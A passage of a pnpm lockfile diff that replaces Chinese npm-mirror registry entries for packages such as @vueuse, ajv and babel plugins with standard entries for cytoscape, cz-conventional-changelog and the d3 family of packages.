https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vueuse/metadata/-/metadata-9.5.0.tgz} - name: '@vueuse/metadata' - version: 9.5.0 + /cytoscape@3.23.0: + resolution: {integrity: sha512-gRZqJj/1kiAVPkrVFvz/GccxsXhF3Qwpptl32gKKypO4IlqnKBjTOu+HbXtEggSGzC5KCaHp3/F7GgENrtsFkA==} + engines: {node: '>=0.10'} + dependencies: + heap: 0.2.7 + lodash: 4.17.21 dev: true - registry.npmmirror.com/@vueuse/shared/9.5.0_vue@3.2.45: - resolution: {integrity: sha512-HnnCWU1Vg9CVWRCcI8ohDKDRB2Sc4bTgT1XAIaoLSfVHHn+TKbrox6pd3klCSw4UDxkhDfOk8cAdcK+Z5KleCA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vueuse/shared/-/shared-9.5.0.tgz} - id: registry.npmmirror.com/@vueuse/shared/9.5.0 - name: '@vueuse/shared' - version: 9.5.0 + /cz-conventional-changelog@3.2.0: + resolution: {integrity: sha512-yAYxeGpVi27hqIilG1nh4A9Bnx4J3Ov+eXy4koL3drrR+IO9GaWPsKjik20ht608Asqi8TQPf0mczhEeyAtMzg==} + engines: {node: '>= 10'} dependencies: - vue-demi: registry.npmmirror.com/vue-demi/0.12.5_vue@3.2.45 + chalk: 2.4.2 + commitizen: 4.2.4 + conventional-commit-types: 3.0.0 + lodash.map: 4.6.0 + longest: 2.0.1 + word-wrap: 1.2.3 + optionalDependencies: + '@commitlint/load': 17.0.3 transitivePeerDependencies: - - '@vue/composition-api' - - vue + - '@swc/core' + - '@swc/wasm' dev: true - registry.npmmirror.com/@waline/client/2.14.1: - resolution: {integrity: sha512-JnZidLAbuv9yf/+6LvLyv0t6dMHniIuFImgt4npctdCtG6cWuwIr8chhnJg4egiO5iVjlYbZeZYYvhwtjtPxwQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@waline/client/-/client-2.14.1.tgz} - name: '@waline/client' - version: 2.14.1 - engines: {node: '>=14'} + /cz-conventional-changelog@3.3.0: + resolution: {integrity: sha512-U466fIzU5U22eES5lTNiNbZ+d8dfcHcssH4o7QsdWaCcRs/feIPCxKYSWkYBNs5mny7MvEfwpTLWjvbm94hecw==} + engines: {node: '>= 10'} dependencies: - '@vueuse/core': registry.npmmirror.com/@vueuse/core/9.5.0_vue@3.2.45 - autosize: registry.npmmirror.com/autosize/5.0.1 - marked: registry.npmmirror.com/marked/4.2.2 - vue: registry.npmmirror.com/vue/3.2.45 + chalk: 2.4.2 + commitizen: 4.2.4 + conventional-commit-types: 3.0.0 + lodash.map: 4.6.0 + longest: 2.0.1 + word-wrap: 1.2.3 + optionalDependencies: + '@commitlint/load': 17.0.3 transitivePeerDependencies: - - '@vue/composition-api' - dev: true - - registry.npmmirror.com/acorn/8.7.1: - resolution: {integrity: sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/acorn/-/acorn-8.7.1.tgz} - name: acorn - version: 8.7.1 - engines: {node: '>=0.4.0'} - hasBin: true + - '@swc/core' + - '@swc/wasm' dev: true - registry.npmmirror.com/ajv/8.11.0: - resolution: {integrity: sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ajv/-/ajv-8.11.0.tgz} - name: ajv - version: 8.11.0 + /d3-array@3.2.4: + resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==} + engines: {node: '>=12'} dependencies: - fast-deep-equal: registry.npmmirror.com/fast-deep-equal/3.1.3 - json-schema-traverse: registry.npmmirror.com/json-schema-traverse/1.0.0 - require-from-string: registry.npmmirror.com/require-from-string/2.0.2 - uri-js: registry.npmmirror.com/uri-js/4.4.1 - dev: true - - registry.npmmirror.com/ansi-colors/4.1.3: - resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz} - name: ansi-colors - version: 4.1.3 - engines: {node: '>=6'} - dev: true - - registry.npmmirror.com/ansi-regex/3.0.1: - resolution: {integrity: sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz} - name: ansi-regex - version: 3.0.1 - engines: {node: '>=4'} - dev: true - - registry.npmmirror.com/ansi-regex/5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz} - name: ansi-regex - version: 5.0.1 - engines: {node: '>=8'} + internmap: 2.0.3 dev: true - registry.npmmirror.com/ansi-regex/6.0.1: - resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-regex/-/ansi-regex-6.0.1.tgz} - name: ansi-regex - version: 6.0.1 + /d3-axis@3.0.0: + resolution: {integrity: sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==} engines: {node: '>=12'} dev: true - registry.npmmirror.com/ansi-styles/3.2.1: - resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz} - name: ansi-styles - version: 3.2.1 - engines: {node: '>=4'} - dependencies: - color-convert: registry.npmmirror.com/color-convert/1.9.3 - dev: true - - registry.npmmirror.com/ansi-styles/4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz} - name: ansi-styles - version: 4.3.0 - engines: {node: '>=8'} + /d3-brush@3.0.0: + resolution: {integrity: sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==} + engines: {node: '>=12'} dependencies: - color-convert: registry.npmmirror.com/color-convert/2.0.1 + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-transition: 3.0.1(d3-selection@3.0.0) dev: true - registry.npmmirror.com/anymatch/3.1.2: - resolution: {integrity: sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/anymatch/-/anymatch-3.1.2.tgz} - name: anymatch - version: 3.1.2 - engines: {node: '>= 8'} + /d3-chord@3.0.1: + resolution: {integrity: sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==} + engines: {node: '>=12'} dependencies: - normalize-path: registry.npmmirror.com/normalize-path/3.0.0 - picomatch: registry.npmmirror.com/picomatch/2.3.1 + d3-path: 3.0.1 dev: true - registry.npmmirror.com/arg/4.1.3: - resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/arg/-/arg-4.1.3.tgz} - name: arg - version: 4.1.3 - dev: true - - registry.npmmirror.com/arg/5.0.1: - resolution: {integrity: sha512-e0hDa9H2Z9AwFkk2qDlwhoMYE4eToKarchkQHovNdLTCYMHZHeRjI71crOh+dio4K6u1IcwubQqo79Ga4CyAQA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/arg/-/arg-5.0.1.tgz} - name: arg - version: 5.0.1 + /d3-color@3.1.0: + resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/argparse/1.0.10: - resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz} - name: argparse - version: 1.0.10 + /d3-contour@4.0.2: + resolution: {integrity: sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==} + engines: {node: '>=12'} dependencies: - sprintf-js: registry.npmmirror.com/sprintf-js/1.0.3 + d3-array: 3.2.4 dev: true - registry.npmmirror.com/argparse/2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz} - name: argparse - version: 2.0.1 + /d3-delaunay@6.0.2: + resolution: {integrity: sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==} + engines: {node: '>=12'} + dependencies: + delaunator: 5.0.0 dev: true - registry.npmmirror.com/async/3.2.3: - resolution: {integrity: sha512-spZRyzKL5l5BZQrr/6m/SqFdBN0q3OCI0f9rjfBzCMBIP4p75P620rR3gTmaksNOhmzgdxcaxdNfMy6anrbM0g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/async/-/async-3.2.3.tgz} - name: async - version: 3.2.3 + /d3-dispatch@3.0.1: + resolution: {integrity: sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/at-least-node/1.0.0: - resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz} - name: at-least-node - version: 1.0.0 - engines: {node: '>= 4.0.0'} + /d3-drag@3.0.0: + resolution: {integrity: sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==} + engines: {node: '>=12'} + dependencies: + d3-dispatch: 3.0.1 + d3-selection: 3.0.0 dev: true - registry.npmmirror.com/autoprefixer/10.4.13_postcss@8.4.19: - resolution: {integrity: sha512-49vKpMqcZYsJjwotvt4+h/BCjJVnhGwcLpDt5xkcaOG3eLrG/HUYLagrihYsQ+qrIBgIzX1Rw7a6L8I/ZA1Atg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/autoprefixer/-/autoprefixer-10.4.13.tgz} - id: registry.npmmirror.com/autoprefixer/10.4.13 - name: autoprefixer - version: 10.4.13 - engines: {node: ^10 || ^12 || >=14} + /d3-dsv@3.0.1: + resolution: {integrity: sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==} + engines: {node: '>=12'} hasBin: true - peerDependencies: - postcss: ^8.1.0 dependencies: - browserslist: registry.npmmirror.com/browserslist/4.21.4 - caniuse-lite: registry.npmmirror.com/caniuse-lite/1.0.30001431 - fraction.js: registry.npmmirror.com/fraction.js/4.2.0 - normalize-range: registry.npmmirror.com/normalize-range/0.1.2 - picocolors: registry.npmmirror.com/picocolors/1.0.0 - postcss: registry.npmmirror.com/postcss/8.4.19 - postcss-value-parser: registry.npmmirror.com/postcss-value-parser/4.2.0 + commander: 7.2.0 + iconv-lite: 0.6.3 + rw: 1.3.3 dev: true - registry.npmmirror.com/autosize/5.0.1: - resolution: {integrity: sha512-UIWUlE4TOVPNNj2jjrU39wI4hEYbneUypEqcyRmRFIx5CC2gNdg3rQr+Zh7/3h6egbBvm33TDQjNQKtj9Tk1HA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/autosize/-/autosize-5.0.1.tgz} - name: autosize - version: 5.0.1 + /d3-ease@3.0.1: + resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/babel-plugin-dynamic-import-node/2.3.3: - resolution: {integrity: sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz} - name: babel-plugin-dynamic-import-node - version: 2.3.3 + /d3-fetch@3.0.1: + resolution: {integrity: sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==} + engines: {node: '>=12'} dependencies: - object.assign: registry.npmmirror.com/object.assign/4.1.2 + d3-dsv: 3.0.1 dev: true - registry.npmmirror.com/babel-plugin-polyfill-corejs2/0.3.1_@babel+core@7.17.10: - resolution: {integrity: sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.1.tgz} - id: registry.npmmirror.com/babel-plugin-polyfill-corejs2/0.3.1 - name: babel-plugin-polyfill-corejs2 - version: 0.3.1 - peerDependencies: - '@babel/core': ^7.0.0-0 + /d3-force@3.0.0: + resolution: {integrity: sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==} + engines: {node: '>=12'} dependencies: - '@babel/compat-data': registry.npmmirror.com/@babel/compat-data/7.17.10 - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-define-polyfill-provider': registry.npmmirror.com/@babel/helper-define-polyfill-provider/0.3.1_@babel+core@7.17.10 - semver: registry.npmmirror.com/semver/6.3.0 - transitivePeerDependencies: - - supports-color + d3-dispatch: 3.0.1 + d3-quadtree: 3.0.1 + d3-timer: 3.0.1 dev: true - registry.npmmirror.com/babel-plugin-polyfill-corejs3/0.5.2_@babel+core@7.17.10: - resolution: {integrity: sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.2.tgz} - id: registry.npmmirror.com/babel-plugin-polyfill-corejs3/0.5.2 - name: babel-plugin-polyfill-corejs3 - version: 0.5.2 - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-define-polyfill-provider': registry.npmmirror.com/@babel/helper-define-polyfill-provider/0.3.1_@babel+core@7.17.10 - core-js-compat: registry.npmmirror.com/core-js-compat/3.22.5 - transitivePeerDependencies: - - supports-color + /d3-format@3.1.0: + resolution: {integrity: sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/babel-plugin-polyfill-regenerator/0.3.1_@babel+core@7.17.10: - resolution: {integrity: sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.1.tgz} - id: registry.npmmirror.com/babel-plugin-polyfill-regenerator/0.3.1 - name: babel-plugin-polyfill-regenerator - version: 0.3.1 - peerDependencies: - '@babel/core': ^7.0.0-0 + /d3-geo@3.0.1: + resolution: {integrity: sha512-Wt23xBych5tSy9IYAM1FR2rWIBFWa52B/oF/GYe5zbdHrg08FU8+BuI6X4PvTwPDdqdAdq04fuWJpELtsaEjeA==} + engines: {node: '>=12'} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-define-polyfill-provider': registry.npmmirror.com/@babel/helper-define-polyfill-provider/0.3.1_@babel+core@7.17.10 - transitivePeerDependencies: - - supports-color + d3-array: 3.2.4 dev: true - registry.npmmirror.com/balanced-match/1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz} - name: balanced-match - version: 1.0.2 - dev: true - - registry.npmmirror.com/balloon-css/1.2.0: - resolution: {integrity: sha512-urXwkHgwp6GsXVF+it01485Z2Cj4pnW02ICnM0TemOlkKmCNnDLmyy+ZZiRXBpwldUXO+aRNr7Hdia4CBvXJ5A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/balloon-css/-/balloon-css-1.2.0.tgz} - name: balloon-css - version: 1.2.0 + /d3-hierarchy@3.1.2: + resolution: {integrity: sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/base64-js/1.5.1: - resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz} - name: base64-js - version: 1.5.1 + /d3-interpolate@3.0.1: + resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==} + engines: {node: '>=12'} + dependencies: + d3-color: 3.1.0 dev: true - registry.npmmirror.com/bcrypt-ts/3.0.0: - resolution: {integrity: sha512-z4pqdPaAuuvBsHCwb77bisxT9qo5hRSbn78FXNhhTywHabqMzcIosDxjnKUrkPQbMyz2curUT+fJRith57rIvg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/bcrypt-ts/-/bcrypt-ts-3.0.0.tgz} - name: bcrypt-ts - version: 3.0.0 + /d3-path@3.0.1: + resolution: {integrity: sha512-gq6gZom9AFZby0YLduxT1qmrp4xpBA1YZr19OI717WIdKE2OM5ETq5qrHLb301IgxhLwcuxvGZVLeeWc/k1I6w==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/binary-extensions/2.2.0: - resolution: {integrity: sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.2.0.tgz} - name: binary-extensions - version: 2.2.0 - engines: {node: '>=8'} + /d3-polygon@3.0.1: + resolution: {integrity: sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/bl/5.1.0: - resolution: {integrity: sha512-tv1ZJHLfTDnXE6tMHv73YgSJaWR2AFuPwMntBe7XL/GBFHnT0CLnsHMogfk5+GzCDC5ZWarSCYaIGATZt9dNsQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/bl/-/bl-5.1.0.tgz} - name: bl - version: 5.1.0 - dependencies: - buffer: registry.npmmirror.com/buffer/6.0.3 - inherits: registry.npmmirror.com/inherits/2.0.4 - readable-stream: registry.npmmirror.com/readable-stream/3.6.0 + /d3-quadtree@3.0.1: + resolution: {integrity: sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/boolbase/1.0.0: - resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz} - name: boolbase - version: 1.0.0 + /d3-random@3.0.1: + resolution: {integrity: sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/brace-expansion/1.1.11: - resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz} - name: brace-expansion - version: 1.1.11 + /d3-scale-chromatic@3.0.0: + resolution: {integrity: sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==} + engines: {node: '>=12'} dependencies: - balanced-match: registry.npmmirror.com/balanced-match/1.0.2 - concat-map: registry.npmmirror.com/concat-map/0.0.1 + d3-color: 3.1.0 + d3-interpolate: 3.0.1 dev: true - registry.npmmirror.com/brace-expansion/2.0.1: - resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz} - name: brace-expansion - version: 2.0.1 + /d3-scale@4.0.2: + resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==} + engines: {node: '>=12'} dependencies: - balanced-match: registry.npmmirror.com/balanced-match/1.0.2 + d3-array: 3.2.4 + d3-format: 3.1.0 + d3-interpolate: 3.0.1 + d3-time: 3.0.0 + d3-time-format: 4.1.0 dev: true - registry.npmmirror.com/braces/3.0.2: - resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/braces/-/braces-3.0.2.tgz} - name: braces - version: 3.0.2 - engines: {node: '>=8'} - dependencies: - fill-range: registry.npmmirror.com/fill-range/7.0.1 + /d3-selection@3.0.0: + resolution: {integrity: sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/browserslist/4.21.4: - resolution: {integrity: sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/browserslist/-/browserslist-4.21.4.tgz} - name: browserslist - version: 4.21.4 - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true + /d3-shape@3.1.0: + resolution: {integrity: sha512-tGDh1Muf8kWjEDT/LswZJ8WF85yDZLvVJpYU9Nq+8+yW1Z5enxrmXOhTArlkaElU+CTn0OTVNli+/i+HP45QEQ==} + engines: {node: '>=12'} dependencies: - caniuse-lite: registry.npmmirror.com/caniuse-lite/1.0.30001431 - electron-to-chromium: registry.npmmirror.com/electron-to-chromium/1.4.284 - node-releases: registry.npmmirror.com/node-releases/2.0.6 - update-browserslist-db: registry.npmmirror.com/update-browserslist-db/1.0.10_browserslist@4.21.4 - dev: true - - registry.npmmirror.com/buffer-from/1.1.2: - resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz} - name: buffer-from - version: 1.1.2 + d3-path: 3.0.1 dev: true - registry.npmmirror.com/buffer/6.0.3: - resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/buffer/-/buffer-6.0.3.tgz} - name: buffer - version: 6.0.3 + /d3-time-format@4.1.0: + resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==} + engines: {node: '>=12'} dependencies: - base64-js: registry.npmmirror.com/base64-js/1.5.1 - ieee754: registry.npmmirror.com/ieee754/1.2.1 - dev: true - - registry.npmmirror.com/builtin-modules/3.2.0: - resolution: {integrity: sha512-lGzLKcioL90C7wMczpkY0n/oART3MbBa8R9OFGE1rJxoVI86u4WAGfEk8Wjv10eKSyTHVGkSo3bvBylCEtk7LA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/builtin-modules/-/builtin-modules-3.2.0.tgz} - name: builtin-modules - version: 3.2.0 - engines: {node: '>=6'} - dev: true - - registry.npmmirror.com/cac/6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cac/-/cac-6.7.14.tgz} - name: cac - version: 6.7.14 - engines: {node: '>=8'} + d3-time: 3.0.0 dev: true - registry.npmmirror.com/call-bind/1.0.2: - resolution: {integrity: sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/call-bind/-/call-bind-1.0.2.tgz} - name: call-bind - version: 1.0.2 + /d3-time@3.0.0: + resolution: {integrity: sha512-zmV3lRnlaLI08y9IMRXSDshQb5Nj77smnfpnd2LrBa/2K281Jijactokeak14QacHs/kKq0AQ121nidNYlarbQ==} + engines: {node: '>=12'} dependencies: - function-bind: registry.npmmirror.com/function-bind/1.1.1 - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 - dev: true - - registry.npmmirror.com/callsites/3.1.0: - resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==, registry: https://registry.npm.taobao.org/, 